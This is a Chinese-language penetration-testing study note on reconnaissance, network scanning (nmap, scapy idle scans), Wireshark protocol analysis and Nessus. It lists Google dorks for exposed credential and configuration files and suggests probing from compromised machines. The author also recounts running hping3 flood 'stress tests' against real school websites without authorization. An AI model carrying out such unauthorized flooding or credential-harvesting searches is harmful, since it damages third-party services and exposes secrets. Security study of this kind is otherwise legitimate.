渗透测试学习笔记
信息收集
信息收集概述和目的
信息收集的方式可以分为两种:被动和主动
被动信息收集方式是指利用第三方的服务对目标进行访问了解,例:Google搜索
主动信息收集方式通过直接访问 、扫描网站,这种将流量流经网站的行为。比如:nmap扫描端
被动信息收集的目的:通过公开渠道,去获得目标主机的信息,从而不与目标系统直接交互,避免留下痕迹。
信息收集内容
IP地址段
域名信息
邮件地址(社攻,钓鱼)
文档图片数据
公司地址
公司组织架构
联系电话/传真号码
人员姓名/职务
目标系统使用的技术架构
公开的商业信息
信息用途
信息描述目标
发现目标
社会工程学攻击
物理缺口
信息收集-DNS
域名解析原理
DNS服务器概述
运行DNS服务器程序的计算机,储存DNS数据库信息。DNS服务器分为根域DNS服务器、顶级域名DNS服务器、根域DNS服务器有13个,都存储了全部的顶级域名服务器的所在地址;顶级域名服务器存储了每位客户所注册的主机地址,这里对应到163.com这个级别。(域名解析到对应的IP解析的记录存储在DNS服务器中)
域名记录:A, Cname, NS, MX , PTR
(1). A记录(Address)正向解析
A记录是将一个主机名(全称域名FQDN)和一个IP地址关联起来,这也是大多数客户端程序默认的查询类型。例:zijie.love -> 185.199.x.x(github)(2). PTR记录(Pointer)反向解析
PTR记录将一个IP地址对应到主机名(全称域名FQDN)。这些记录保存在in-addr.arpa域中。(IP解析->域名)
(3). CNAME 记录(Canonical Name)别名
别名记录,也称为规范名字(Canonical Name),这种记录允许您将多个名字映射到同一台计算机。(多个域名映射到同一台计算机)
例:zijie.love对应IP 8.8.8.6 ,webdog.zijie.love对应IP 8.8.8.6(4). MX 记录(Mail eXchange)
MX记录是邮件交换记录,它指向一个邮件服务器,用于电子邮件系统发邮件时根据 收信人的地址后缀来定位邮件服务器。
例:mail.zijie.com(mail开头的邮件服务器)
当有多个MX记录(即有多个邮件服务器时),则需要设置数值来确定其优先级。通过设置优先级数字来指明首选服务器,数字越小表示优先级越高。
(5). NS记录(Name Server)
NS(Name Server) 记录是域名服务器记录,也称为授权服务器,用来指定该域名由哪个DNS服务器来进行解析。
例:dns.zijie.cnDNS缓存服务器
缓存DNS服务器:不负责解析域,只是缓存域名解析结果。(缓存后直接读结果,更加快速)DNS查询方式:递归查询和迭代查询
一个DNS查询过程,通过8个步骤的解析过程就使得客户端可以顺利访问www.163.com这个域名,但实际应用中,通常这个过程是非常迅速的,如图
一张图看懂DNS域名解析全过程
DNS查询过程
浏览器缓存:当用户通过浏览器访问某域名时,浏览器首先会在自己的缓存中查找是否有该域名对应的IP地址(若曾经访问过该域名且没有清空缓存便存在)
系统缓存:当浏览器缓存中无域名对应IP则会自动检查用户计算机系统Hosts文件DNS缓存是否有该域名对应IP
路由器缓存:当浏览器及系统缓存中均无域名对应IP则进入路由器缓存中检查,以上三步均为客户端的DNS缓存
ISP(互联网服务提供商) DNS缓存(一般就是本地DNS服务器):当在用户客户端查找不到域名对应IP地址,则将进入ISP DNS缓存中进行查询。比如你用的是电信的网络,则会进入电信的DNS缓存服务器中进行查找
根域名服务器:当以上均未完成,则进入根服务器进行查询。全球仅有13台根域名服务器,1个主根域名服务器,其余12为辅根域名服务器。根域名收到请求后会查看区域文件记录,若无则将其管辖范围内顶级域名(如.com)服务器IP告诉本地DNS服务器。
顶级域名服务器:顶级域名服务器收到请求后查看区域文件记录,若无则将其管辖范围内主域名服务器的IP地址告诉本地DNS服务器。
主域名服务器:主域名服务器接收到请求后查询自己的缓存,如果没有则进入下一级域名服务器进行查找,并重复该步骤直至找到正确记录
保存结果至缓存:本地域名服务器把返回的结果保存到缓存,以备下一次使用,同时将该结果反馈给客户端,客户端通过这个IP地址与web服务器建立连接。
DNS信息收集-NSLOOKUP
将域名解析为IP地址
ping 命令
1 |
|
使用nslookup 查看域名
1 |
|
DNS 信息收集-DIG
语法 dig(选项) 需要查询的域名
@<DNS服务器地址>:指定进行域名解析的域名服务器
any #显示所有类型的域名记录,默认只显示A记录
指定DNS服务器解析
查询所有类型域名记录
dig -x IP 反向解析域名
查询DNS服务器bind版本信息
查询DNS版本信息的目的:可以通过版本信息来查找相关版本漏洞的利用方式
例:查看dnspod的域名服务器 ns3.dnsv.com使用bind的软件版本信息
dig txt chaos VERSION.BIND @ns3.dnsv4.com
txt : 记录类型文本
chaos :类级别
VERSION.BIND :版本信息
查询网站的域名注册信息和备案信息
Whois 查询方式 Web 接口查询和 Whois 命令查询
通过Web接口查询
这里只是举例2个其实有很多
阿里云:https://whois.aliyun.com/
站长之家:https://whois.chinaz.com/
Whois命令查询
whois后面的域名应为顶级域名
备案信息查询
web接口查询
站长之家:https://icp.chinaz.com/
天眼查:https://www.tianyancha.com/
使用 Maltego 收集子域名信息
该工具的主要重点是分析通过互联网访问的数据之间的真实世界关系,其中包括足迹互联网基础设施和收集有关拥有该网络的人员和组织的数据。通过使用OSINT(开源情报)技术,通过查询whois记录,社交网络,DNS记录,不同的在线API,提取元数据和搜索引擎来搜索这些数据之间的连接。该工具将提供广泛的图形布局结果,允许对数据进行聚类,使关系准确和即时。
子域名介绍
顶级域名是域名的最后一个部分,既是域名最后一点之后的字母,例如在http://example.com
这个域名中,顶级域名是.com(或.COM)大小写视为相同。
常见的顶级域主要分两类
通用顶级类别域名共6个,包括用于科研机构的.ac;用于工商金融企业的.com;用于教育机构的.edu;用于政府部门的.gov;用于互联网络信息中心和运行中心的.net;用于非盈利组织的.org。
国家及地区顶级域,如.cn 代表中国,.uk代表英国等,地理顶级域名一般由各个国家或地区负责管理
子域名(Subdomain Name),凡顶级域名前加前缀的都是该顶级域名的子域名,而子域名根据技术的多少分为二级子域名,三级子域名以及多级子域名。
挖掘子域名的重要性
子域名是某个主域的二级域名或者多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。
例如:www.xxxxx.com 主域不存在漏洞,并且防护措施严密,而二级域名 edu.xxxxx.com存在漏洞,并且防护措施松散。
- 子域名挖掘工具:Maltego 子域名挖掘机。
- 搜索引擎挖掘 如:在Google中输入 side:qq.com
- 第三方网站查询:http://tool.chinaz.com/subdomain、https://dnsdumpster.com/
- 证书透明度公开日志枚举:https://crt.sh/、http://censys.io/
- 其它途径:http://dns.aizhan.com
使用MAltego CE进行子域名挖掘
先翻墙后,再注册,因为注册过程的验证码是google的技术,不翻墙使用不了
注册网址https://www.paterva.com/web7/community/community.php
注册好后,kali内置了maltego,点击左上角
进入后选择
然后在跳出来的窗口登录
都完成之后,给出了一个空白画布
左边search domain 选择domain
按住鼠标左键拖拽到画布上
比如选择查找hut官网下的
右键选择 all transforms-> to dns name(interesting)[security trails]
直接选择all transforms还是感觉子域名显示的不完全,而且有很多子域名是无效的
使用shodan信息收集
shodan介绍
shodan搜索引擎概述:
虽然目前人们都认为谷歌是最强劲的搜索引擎,但shodan才是互联网上最可怕的搜索引擎。与谷歌不同的是,shodan不是在网上搜索网址,而是直接进入互联网背后的通道。shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。还可以直接显示出目标的具体地理位置信息。
shodan官网:https://www.shodan.io/
shodan搜索技巧
技巧一:通过shodan搜索Webcam网络摄像头设备
在搜索框中输入“webcam”或“网络摄像头”进行搜索。
有些摄像头是能打开的有些打不开
技巧二:shodan搜索指定IP地址
格式为net:IP
点进去之后可以看详细信息
比如端口开放,框架使用,端口对应服务,服务版本
技巧三:shodan搜索具体城市
搜索栏中输入city:beijing 就可以搜索出北京的联网设备,我们可以和port进行组合查询
输入 city:beijing port:80 我们可以搜索到北京开放80端口的设备
Google搜索引擎的使用技巧
我们通常使用搜索引擎都是直接搜索自己想要的内容,正常情况下我们都是直接使用语言进行描述问题来进行搜索,然后搜索引擎也有特定语法可以使用,熟练掌握搜索引擎的语法可以让你的搜索效率和准确率大幅度提升,当然我们学习这种技巧是为了寻找存在漏洞的页面,或者存在敏感信息的文件。
Google常用语法说明
site—————-指定域名
inurl—————URL中存在的关键字页面
intext————–网页内容里面的关键字
Filetype————指定文件类型
intitle————-网页标题中的关键字
link—————-返回你所有的指定域名链接
info—————-查找指定站点信息
cache—————搜索Google里的内容缓存
site使用
或者可以查看指定国家的网页
inurl使用
inurl,拆开来,就是in url,它的作用是限定在url中搜索。
就是在url中查找关键字
还有就是这个功能可以找后台,如图
intitle使用
可以查看指定的页面名
index.of .bash_history
index.of 表示包含index.of字段,出现该字段表示网站目录是对我们开放的,我们可以查看到网站目录下的所有文件信息。
.bash_histroy 表示我们要筛选的文件名称,也可以替换成其他的敏感信息文件,该文件记录了用户的历史命令记录。
my.cnf 是mysql的配置文件名称,可与index.of配合
查找discuz论坛中存储mysql密码的配置文件config_global.php
cache的使用
cache返回的结果是被搜索引擎收录时的页面,比如一些页面被删除了,我们通过cache还是可以访问。类似于VMware里的快照,可以用来看一些在新版本中删除的内容
filetype:torrent kali
kali是我们要搜索的关键字
filetype指定文件类型
torrent文件类型名称,torrent是种子文件,可以填写任意扩展名。
谷歌黑客数据库
记录了谷歌搜索语法以及搜索功能
传送门–>https://www.exploit-db.com/google-hacking-database
常见最新漏洞公布网站
美国著名安全公司 Offensive Security的漏洞库 https://www.exploit-db.com/比较及时
国家信息安全漏洞共享平台https://www.cnvd.org.cn/
俄罗斯知名安全实验室https://www.securitylab.ru/vulnerability/
CVE常见漏洞和披露https://cve.mitre.org/
信息安全漏洞门户https://www.vulhub.org.cn/index
美国国家信息安全漏洞库https://nvd.nist.gov/
知道创宇漏洞库https://www.seebug.org/
信息收集–主动
主动信息收集的原理
主动信息收集的特点
直接与目标系统交互通信
无法避免留下访问的痕迹
使用受控的第三方电脑进行探测,使用代理或已经被控制的机器,做好被封杀的准备
扫描发送不同的探测,根据返回结果判断目标状态
发现目标主机的过程
识别存活主机,发现潜在的被攻击目标
输出一个IP地址列表比如IP地址段IP地址范围
使用二、三、四层进行探测发现
基于ping命令的探测
PING
PING命令是我们常用的判断主机之间网络是否畅通,同样也是能判断我们的目标主机是否存活。
ping iP or 域名 -c 1 -c 后面跟数字表示返回几个结果
ARPING
ARP协议概述:ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。计算机通过ARP协议将IP地址转换成MAC地址。
ARP协议工作原理
在以太网中,数据传输的目标地址是MAC地址,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。
计算机使用者通常只知道目标机器的IP信息,“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。
简单地说,ARP协议主要负责将局域网中的32位IP地址转换为对应的48位物理地址,即网卡的MAC地址,保障通信顺利进行
使用arping命令查看局域网中的IP是否有冲突
┌──(root㉿debian)-[/home/admin1/Desktop]
└─# arping 192.168.201.2 -c 1 #arping后跟网关,-c 我们只需一次就好
ARPING 192.168.201.2
60 bytes from 00:50:56:f7:da:f9 (192.168.201.2): index=0 time=7.692 usec
使用netdiscover进行被动方式探测局域中存活的机器
netdiscover是一个主动/被动的ARP侦察工具。使用netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。
主动模式:
主动模式顾名思义就是主动的探测发现网络,但是这种方式往往会引起网络管理员的注意
netdiscover -i eth0
-i 指定网卡
-r 指定网段/24子网掩码
┌──(root㉿debian)-[/home/admin1/Desktop]
└─# netdiscover -i eth0 -r 192.168.201.0/24
被动模式:
被动模式的方法更加隐蔽,但是速度会比较慢,网卡被设置为混杂模式来侦听网络内的arp数据包进行被动式探测,这种方式就需要网络内设备发送arp包才能被探测到。
┌──(root㉿debian)-[/home/admin1/Desktop]
└─# netdiscover -p
HPING3
hping3 是一个命令行下使用德TCP/IP数据包组装/分析工具,通常web服务会用来做压力测试使用,也可以进行DOS攻击的实验,同样Hping只能每次扫描一个目标。
例:使用HPING进行压力测试
先测试网站正常访问
一下子有点犯难了哈哈
1 |
|
对上面网址压力测试
1 |
|
用wireshark抓包
可能是因为学校的网站性能较好把,在执行后应该会让网站瘫痪一会的,应该换个小一点的网站。。。但大脑短路了,不知道去哪找
随便找了个中学网站,测试下,貌似是成功了,延时了2s左右,应该没有更合适的网站了
使用FPING查看局域中运行了哪些机器
Fping就是ping命令的加强版他可以对一个IP段进行ping扫描,而ping命令本身是不可以对网段进行扫描的。
fping -g 192.168.201.1 192.168.201.254 -c 1 > fff.txt
类似于下面的就是存活的主机
基于 Nmap 的扫描方式
Nmap 的基本扫描方式
Nmap,也就是 Network Mapper,最早是Linux下的网络扫描和嗅探工具包
例:扫描 192.168.201.0 这个网段
1 |
|
-sn 参数说明:表示只ping扫描,不进行端口扫描
使用nmap进行半连接扫描
nmap扫描类型主要有TCP的全连接扫描(会在被扫描机器留下记录),半连接扫描(不会留下记录)
nmap -sS ip -p 端口,端口,端口
实战一—使用scapy定制数据包进行高级扫描
scapy概述
scapy是一个可以让用户发送、侦听和解析并伪装网络报文的python程序,这些功能可以用于制作侦测、扫描和攻击网络的工具
scapy 定制ARP协议
终端输入scapy进入scapy程序
不用在意报错,不影响使用
输入ARP().display来查看ARP函数的用法
1 |
|
例:定义向192.168.201.1发送arp请求的数据包
sr1函数作用:sr1函数包含了发送数据包和接收数据包的功能。
scapy定制PING包
scapy的功能是非常强大的,前面只是简单的介绍了他的ARP探测方式,下面是IP/ICMP的方式
下面两条命令可以直接看到数据包格式
ICMP().display()
1 |
|
IP().display()
1 |
|
注:IP()生成ping包的源IP和目标IP,ICMP()生ping包的类型,使用IP()和ICMP()两个函数,可以生成ping包,进行探测。
思路:
- 修改IP包头的dst,也就是我们的目的地址
- 拼接上ICMP的数据包类型
- 使用sr1()进行发送数据包并接收数据包
sr1(IP(dst=”192.168.201.1”)/ICMP(),timeout=1)
实战二—僵尸扫描
僵尸扫描概述
僵尸主机:僵尸主机是指感染僵尸程序病毒,从而被黑客程序控制的计算机设备。但是僵尸扫描中的僵尸主机指的是一个闲置的操作系统(这里的闲置指主机不会主动和任何人通信),且此系统中IP数据包中ID是递增的。
IPID:指的是同行过程中,IP数据包中的ID。
僵尸扫描拥有极高的隐蔽特性,但是实施条件苛刻。
- 目标网络可伪造源地址进行访问。
- 选择僵尸机,僵尸机需要在互联网上是一个闲置的操作系统,需要系统使用递增的IPID,比如XP系统。
僵尸扫描原理
1、 端口开放状态扫描原理:
TCP 三次握手发包过程中,SYN/ACk是第二次包。
第一步:参考图1
- 攻击者向僵尸机发送SYN/ACK确认包。
- 僵尸主机返回我们RST数据包关闭链接,RST数据包中包含了IPID信息,假设IPID=X
注:三次握手的第一个包是SYN,目标主机收到SYN才会应答SYN/ACK,因为僵尸主机没有向我们发送SYN请求,所以僵尸主机返回我们RST数据包关闭链接。
第一步中,黑客的收获是:知道了僵尸主机的IPID。
第二步:参考图2
攻击者修改IP包头的SRC字段为僵尸主机的IP,伪装成僵尸主机给目标主机发SYN请求。
目标主机收到请求,如果端口是开放的就会返回给僵尸主机一个SYN/ACK的数据包。
僵尸主机收到目标主机发来的SYN/ACK确认包,因为僵尸主机没有给你发SYN请求,所以僵尸主机给目标主机返回了一个RST数据包,这个数据包表示关闭连接,此僵尸主机对外发出一个数据包,所以僵尸主机的IPID值+1,此时IPID值为X+1。
第二步中,黑客的收获是:如果目标主机端口开放,让僵尸主机的IPID+1
第三步:参考图3
攻击者再次向僵尸主机发送SYN/ACK确认包。
僵尸主机同样向攻击者返回了一个RST数据包,此僵尸主机对外又发出一个数据包,所以僵尸主机的IPID值再+1,此时IPID值为X+2。
第四步:计算3次通信过中的IPID
攻击者查看僵尸主机返回的数据包中IPID值为X+2。
攻击者对比在第一步中的IPID值X,发现增加了2.
结论:肯定目标主机和僵尸主机通信了,能通信,就说明目标主机端口是开放的。
2、端口关闭状态扫描原理
第一步:参考图1
攻击者向僵尸机发送SYN/ACK确认包。
僵尸主机返回哦我们RST数据包关闭链接,数据包中包含了IPID信息,假设IPID=X
注:三次握手的第一个包是SYN、目标主机收到SYN才会应答SYN/ACK,因为僵尸主机没有向我们发送SYN请求,所以僵尸主机返回我们RST数据包关闭链接。
第二步:参考图2
攻击者修改IP包头的SRC字段为僵尸主机的IP,伪装成僵尸主机给目标主机发SYN请求。
目标主机收到请求,如果端口是关闭的,就会返回给僵尸主机一个RST的数据包。
僵尸主机收到目标主机发来的RST包,关闭链接不对外发送数据包,此僵尸主机的IPID值还是X。
第三步:参考图3
攻击者再次向僵尸主机发送SYN/ACK确认包。
僵尸主机同样向攻击者返回了一个RST数据包,此僵尸主机对外发出一个数据包,所以僵尸主机的IPID值+1,此时IPID值为X+1
第四步:计算3次通信过的IPID值
攻击者查看僵尸主机返回的数据包中的IPID值为X+1.
攻击者对比在第一步中的IPID值X,发现增加了1。
结论:肯定目标主机和僵尸主机没有通信了,没能通信,就说明目标主机端口是关闭的。
以上就是僵尸扫描原理。
僵尸扫描 – 实战
实验拓扑图:
虚拟机下载windwosxp
以一台XP的虚拟机为僵尸主机,IP地址为192.168.201.130并关闭XP系统的防火墙
admin为目标主机,IP地址为192.168.201.129
先要打开scapy
第一步:给僵尸主机发送的SYN/ACK数据包,将返回的数据包存入rz1
1 |
|
命令详解:
rz0 表示定义了一个变量来接受我们返回的数据包
dst 表示我们的僵尸主机IP
dport=445 表示我们向僵尸主机的445端口发送数据包,XP主机的445端口一般都是开启状态
flags=”SA”表示发送SYN/ACK
rz0.display()
第二步:攻击者修改IP包头的SRC字段为僵尸主机的IP,伪装成僵尸主机给目标主机发SYN请求
1 |
|
命令详解:
rt0 表示定义了一个变量来接受我们返回的数据包
src 表示伪装成僵尸主机的IP地址
dst 表示将数据包发送目标主机
dport 目标端口
timeout 超时时间
rt0.display()
第三步:攻击者再次向僵尸主机发送SYN/ACK确认包,获得IPID
1 |
|
rz2.display()
可以看到rz0到rz2的id值变了2个,证明目标端口开放
同样探测端口关闭
我们探测222端口
1 |
|
增1个,证明端口关闭
使用nmap进行僵尸扫描
- 扫描192.168.1.0网段中某些机器可以作为僵尸主机
1 |
|
- 使用nmap进行僵尸扫描
1 |
|
目标主机ip:192.168.201.129
僵尸机IP:192.168.201.130
wireshark抓包及常用协议分析
wireshark简介
wireshark是一个网络封包分析软件,网络分包分析软件的功能是撷(xie)取😅网络封包,并尽可能显示出最为详细的网络封包资料,wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。
wireshark的应用
网络管理员使用wireshark来检测网络问题,网络安全工程师使用wireshark来检查咨询安全相关问题,开发者使用wireshark来为新的通讯协议除错,普通使用者使用wireshark来学习网络协议的相关知识。当然,有的人也会“居心叵(po)测”的用它来寻找一些敏感信息。。。。
wireshark快速分析数据包技巧
确定wireshark的物理位置。如果没有一个正确的位置,启动wireshark后会花费很长的时间捕获一些与自己无关的数据。
选择捕获接口。一般都是选择连接到Internet网络的接口,这样才可以捕获到与网络相关的数据,否则,捕获到的其它数据对自己也没有任何帮助。
使用捕获过滤器。通过设置捕获过滤器,可以避免产生过大的捕获数据,这样用户在分析数据时,也不会受到其它数据干扰,而且,还可以为用户节约大量的时间。
使用显示过滤器。通常使用捕获过滤器过滤后的数据,往往还是很复杂,为了使过滤的数据包再更细致,此时使用显示过滤器进行过滤。
使用着色规则。通常使用显示过滤器过滤后的数据,都是有用的数据包,如果想更加突出的显示某个会话,可以使用着色规则高亮显示。
构造图表,如果用户想要更明显的看出一个网络中数据的变化情况,使用图表的形式可以很方便的展现数据分布情况。
重组数据。当传输较大的图片或文件时,需要将信息分布在多个数据包中。这时候就需要使用重组数据的方法来抓取完整的数据,wireshark的重组功能,可以重组一个会话中不同数据包的信息,或者是重组一个完整的图片或文件。
实战:Wireshark抓包及快速定位数据包技巧
常见协议包
ARP协议
ICMP协议
TCP协议
UDP协议
DNS协议
HTTP协议
kali打开wireshark,网卡选择eth0
然后就开始抓取数据包了
混杂模式介绍
混杂模式概述:混杂模式就是接受所有经过网卡的数据包,包括不是发给本机的包,即不验证MAC地址,普通模式下网卡只接收发给本机的包(包括广播包)传递给上层程序,其它的包一律丢弃。
一般来说,混杂模式不会影响网卡的正常工作,多在网络监听工具上使用。关闭和开启混杂模式方法
捕获选项,取消对勾就进入普通模式
WireShark的过滤器使用
我们开启混淆模式来做一下感受,我们再次捕获。。。在所有接口上使用混杂模式就可以直接进行抓包了
开启混杂模式,抓一些包
如只想要tcp的包,可以在过滤器输入tcp
使用过滤器筛upd的数据包
我们使用过滤器输入“udp”以筛选出udp报文,但是为什么输入udp之后出现那么多种协议呢?
原因就是oicq以及dns都是基于udp的传输层上的协议。
扩展:客户端向DNS服务器查询域名,一般返回的内容都不超过512字节,用UDP传输即可,不用经过三次握手,这样DNS服务器负载更低,响应更快,理论上说,客户端也可以指定向DNS服务器查询时用TCP,但事实上,很多DNS服务器进行配置的时候,仅支持UDP查询包。
筛选源地址是192.168.201.128 或目的地址是192.168.201.1
1 |
|
不分源和目的地址
1 |
|
使用WireShark对常用协议抓包并分析原理
协议分析的时候我们关闭混淆模式,避免一些干扰的数据包存在。
常用协议分析–ARP协议
地址解析协议ARP是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,他在IPv4中极其重要。ARP是通过网络地址来定位MAC地址。
开始抓包–过滤arp
我们使用nmap来基于ARP协议进行扫描
1 |
|
Address Resolution Protocol(request) #ARP地址解析协议 reply表示回复包
Hardware type:Ethernet(1) #硬件类型
Protocol type:IPv4(0x0800) #协议类型
Hardware size:6 #硬件地址
Protocol size:4 #协议长度
0pcode:request(1) #操作码,该值为1表示ARP请求包
Sender MAC address:VMware 17:3d:7f(00:0c:29:17:3d:7f) #源MAC地址
Sender Ip address:192.168.201.128 #源IP地址
Target MAc address:00:00:00 00:00:00(00:00:00:00:00:00) #目标MAC地址
Target IP address:192.168.201.254 #目标IP地址
Address Resolution Protocol(reply) #ARP地址解析协议 reply表示回复包
Hardware type:Ethernet(1) #硬件类型
Protocol type:IPv4(x0800) #协议类型
Hardware size:6 #硬件地址
Protocol size:4 #协议长度
0pcode:reply(2) #操作码,该值为2表示ARP回复包
Sender MAC address:VMware f9:91:5c (00:50:56:f9:91:5c) #源MAC地址
Sender Ip address:192.168.201.254 #源IP地址
Target MAC address:VMware 17:3d:7f (00:0c:29:17:3d:7f) #目标MAC地址
Target Ip address:192.168.201.128 #目标IP地址
总结:我们可以看到应答包补全了自己的MAC地址,目的地址和源地址做了替换
两个数据包的请求和过程
192.168.201.128 广播:谁有192.168.201.254的MAC地址
192.168.201.254 应答:192.168.201.254 的MAC地址是xxxxxxxxx
常用协议分析-ICMP 协议
我们把之前的数据包清空掉然后筛选icmp协议的数据包
打开终端,发送1个ping包,方便我们分析发送完之后停止抓包即可
1 |
|
下面我们开始分析ICMP协议包:
ICMP协议分析请求包
Internet Control Message Protocol
Type:8(Echo(ping)request)
Code:0 #协议类型8,代码0 表示回显请求,即ping请求
Checksum:0x7c79 [correct] #校验和,用于检查错误的数据
[Checksum Status:Good] #校验状态Good
Identifier(BE):7151(0x1bef)
Identifier(LE):61211(0xef1b) #ID值,在应答包中返回该字段
Sequence Number(BE):1(0x0001)
Sequence Number(LE):256 (0x0100)#序列号依旧在应答包中返回该字段
[IResponse frame:8] #响应帧的序列号,8
Timestamp from icmp data:Jul 29,2024 20:21:24.316336000CST
[Timestamp from icmp data(relative):0.000014767seconds]
Data(40 bytes) 填充数据,共40字节
ICMP协议分析应答包
Internet controlMessage Protocol
Type :0 (Echo(ping)reply)
Code :0 #协议类型0代码0表示回显应答报文
Checksum:0x8479[correct]
[Checksum Status:Good]#校验和
Identifier(BE):7151(0x1bef)
Identifier(LE):61211(0xef1b)
Sequence Number(BE):1(0x0001)
Sequence Number(LE):256(0x0100)#这里四行的ID和序列号和我们的请求包中一致
[Request frame:7]#请求帧的序列号
[Response time:22.834 ms]#响应时间
Timestamp from icmp data: Jul 29,2024 20:21:24.316336000 CST
[Timestamp from icmp data(relative):0.022848581 seconds]
Data(40 bytes)#填充数据,共40字节
工作过程
本机发送一个ICMP Echo Request的包
接受方返回一个ICMP Echo Reply,包含了接受到数据拷贝和一些其他指令
常用协议分析-TCP协议
首先是清空数据包然后筛选tcp开始抓包
我们模拟一下tcp会话建立
我们通过Xshell远程连接kali就会捕获到完整的TCP3次握手的连接。
可以统计-流量图,流类型TCP来查看三次握手
前面3个就是TCP建立链接的过程,后面的就是相互通信的过程了这个时候seq就会根据数据包的大小改变
四次挥手也会产生TCP包
常用协议分析-HTTP协议
我们还是筛选TCP协议因为HTTP是TCP的上层协议,所以我们过滤TCP的数据包会包含HTTP协议的数据包
我们打开一个终端输入下面命令
1 |
|
curl 是一个在命令行下工作的文件传输工具,我们这里用来发送http请求
-I 大写的i表示仅返回头部信息
可以看到三次握手,四次挥手
中间两个HTTP中间有个ACK,就是发送了一个请求
nmap高级使用技巧和漏洞扫描发现
nmap高级使用技巧
namp概述
nmap是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息,nmap支持很多扫描技术,例如:UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描,还可以探测操作系统类型。
nmap可用于
检测活在网络上的主机(主机发现)
检测主机上开放的端口(端口发现或枚举)
检测到相应的端口(服务发现)的软件和版本
检测操作系统,硬件地址,以及软件版本
检测脆弱性的漏洞(Nmap的脚本)
NMAP 端口状态解析
端口扫描时Nmap最基本最核心的功能,用于确定目标主机的TCP/UDP端口的开放情况。
open:应用程序在该端口接收TCP连接或者UDP报文。
closed:关闭的端口对于nmap也是可访问的,它接收nmap探测报文并做出响应,但没有应用程序在其上监听。
filtered:由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放,过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙。
unfiltered:未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭,只有用于映射防火墙规则集的ACK扫描才会把端口分类到这个状态。
open|filtered:无法确定端口是开放还是被过滤,开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议,FIN,Null等扫描会引起。
closed|filtered:(关闭或者被过滤的):无法确定端口是关闭的还是被过滤的。
NMAP 语法及示例
语法:nmap[Scan Type(s)] [Options]
例1:使用nmap扫描一台服务器
默认情况下,Nmap会扫描1000个最有可能开放的TCP端口。
1 |
|
扫一下我们的centos
例2:扫描一台机器,查看它打开的端口及详细信息
参数说明:
-v 表示显示冗余信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态。
1 |
|
例3:扫描一个范围:端口1-65535
1 |
|
注:生产环境下,我们只需要开启正在提供服务的端口,其他端口都关闭。
关闭不需要开的服务有两种方法:
情景1:你认识这个服务,直接关服务
1 |
|
情景2:不认识这个服务,查看哪个进程使用了这个端口并找出进程的路径,然后kill进程,删除文件,接下来以22端口为例,操作思路如下:
- 查看22端口正在被哪个进程使用
- 通过ps命令查找对应的进程文件:
注:看到进程的文件路径是/usr/sbin/sshd。如果没有看到此命令的具体执行路径,说明此木马进程可以在bash终端下直接执行。通过which和rpm -qf来查看此命令的来源,如下:
解决:
1 |
|
总结:这个思路主要用于找出黑客监听的后门端口和木马存放的路径。
例4: 扫描一台机器:查看此服务器开放的端口号和操作系统类型。
参数说明:
-O:显示出操作系统的类型,每一种操作系统都有一个指纹。
-sS:半开扫描
TCP同步扫描(TCP SYN):因为不必全部打开一个TCP连接,所以这项技术通常称为半开扫描(half-open)。你可以发出一个TCP同步包(SYN),然后等待回应,如果对方返回SYN|ACK(响应)包就表示目标端口正在监听;如果返回RST数据包,就表示目标端口没有监听程序;如果收到一个SYN|ACK包,源主机就会马上发出一个RST(复位)数据包断开和目标主机的连接,这实际上由我们的操作系统内核自动完成的。
当服务器端口开放时,半连接扫描过程如图
当服务器端口关闭时。半连接扫描过程如图
例5:扫描一个网段中所有机器是什么类型的操作系统
1 |
|
例6:查找一些有特点的IP地址中,开启80端口的服务器
1 |
|
例7:如何更隐藏的去扫描,频繁扫描会被屏蔽或者锁定IP地址
–randomize_hosts #随机扫描,对目标主机的顺序随机划分
–scan-delay #演示扫描,单位秒,调整探针之间的延迟
随机扫描
1
nmap -v --randomize-hosts -p 80 192.168.201.127-131
随机扫描+延时扫描,默认单位秒
1 |
|
例8:使用通配符指定IP地址
1 |
|
NESSUS 漏洞检测
NESSUS简介
1998年,Nessus的创办人Renaud Deraison 展开了一项名为”Nessus”的计划,其计划目的是希望能为互联网社群提供一个免费、威力强大、更新频繁并简易使用的远端系统安全扫描程式。2002年时,Renaud与Ron Gula,Jack Huffard 创办了一个名为Tenable Network Security 机构。在第三版的 Nessus 释出之时,该机构收回了 Nessus 的版权与程式源代码(原本为开放源代码),并注册了nessus.org 成为该机构的网站。目前此机构位于美国马里兰州的哥伦比亚。
实验环境:因为NESSUS占用内存比较大,做这个实验需要将Kali内存调到6G或8G。
https://www.tenable.com/downloads/nessus
官网下载
上传到kali
1 |
|
按照提示输入命令
1 |
|
谷歌浏览器打开
1 |
|
由于官网只有10版本的最新版本,而我的最新版本出现了一些预期外的错误,所以我找了一个旧版本6代版本。
配置扫描windows主机
开启一台XP主机 IP是:192.168.201.130
登录Nessus
new scan->advanced scan->name随意->Targets192.168.201.130->Creaentials->username->passwd->save->launch
配置扫描Web服务
新的扫描,点击最后一个web扫描
一般网站是没有漏洞的,所以我们这只扫出了80端口是开放的
Metasploit 渗透测试框架的基本使用
Metasploit 渗透测试框架介绍
Metasploit 简介
Metasploit是一个渗透测试平台,使您能够查找,利用和验证漏洞,该平台包括Metasploit框架及其商业对手,如Metasploit Pro。
